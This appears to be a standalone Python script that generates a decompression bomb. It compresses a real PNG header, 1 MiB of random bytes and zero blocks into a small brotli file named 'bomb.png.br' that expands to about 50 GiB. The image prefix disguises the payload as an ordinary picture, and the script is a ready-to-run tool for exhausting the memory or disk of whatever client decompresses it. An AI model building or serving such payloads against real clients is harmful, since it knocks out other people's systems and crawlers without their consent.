import os
import sys

import brotli

DECOMPRESSED_SIZE = 50 * 1024 * 1024 * 1024
RANDOM_BYTES = 1024 * 1024
BROTLI_QUALITY = 5

_HERE = os.path.dirname(os.path.abspath(__file__))
PNG_PATH = os.path.join(_HERE, "image.png")
BR_PATH = os.path.join(_HERE, "bomb.png.br")


def _load_real_png() -> bytes:
    with open(PNG_PATH, "rb") as f:
        data = f.read()
    assert data[:8] == b"\x89PNG\r\n\x1a\n", f"{PNG_PATH} is not a valid PNG"
    return data


def _build_brotli(png_bytes: bytes) -> bytes:
    c = brotli.Compressor(quality=BROTLI_QUALITY)
    out = bytearray()
    out += c.process(png_bytes)
    out += c.process(os.urandom(RANDOM_BYTES))

    remaining = DECOMPRESSED_SIZE - len(png_bytes) - RANDOM_BYTES
    block = b"\x00" * (16 * 1024 * 1024)
    while remaining > 0:
        n = min(len(block), remaining)
        out += c.process(block[:n])
        remaining -= n

    out += c.finish()
    return bytes(out)


def main() -> None:
    if os.path.exists(BR_PATH) and "--rebuild" not in sys.argv:
        print(f"{os.path.basename(BR_PATH)} already exists; pass --rebuild to overwrite.")
        return

    png_bytes = _load_real_png()
    data = _build_brotli(png_bytes)
    with open(BR_PATH, "wb") as f:
        f.write(data)
    print(f"wrote {os.path.basename(BR_PATH)} ({len(data):,} bytes)")


if __name__ == "__main__":
    main()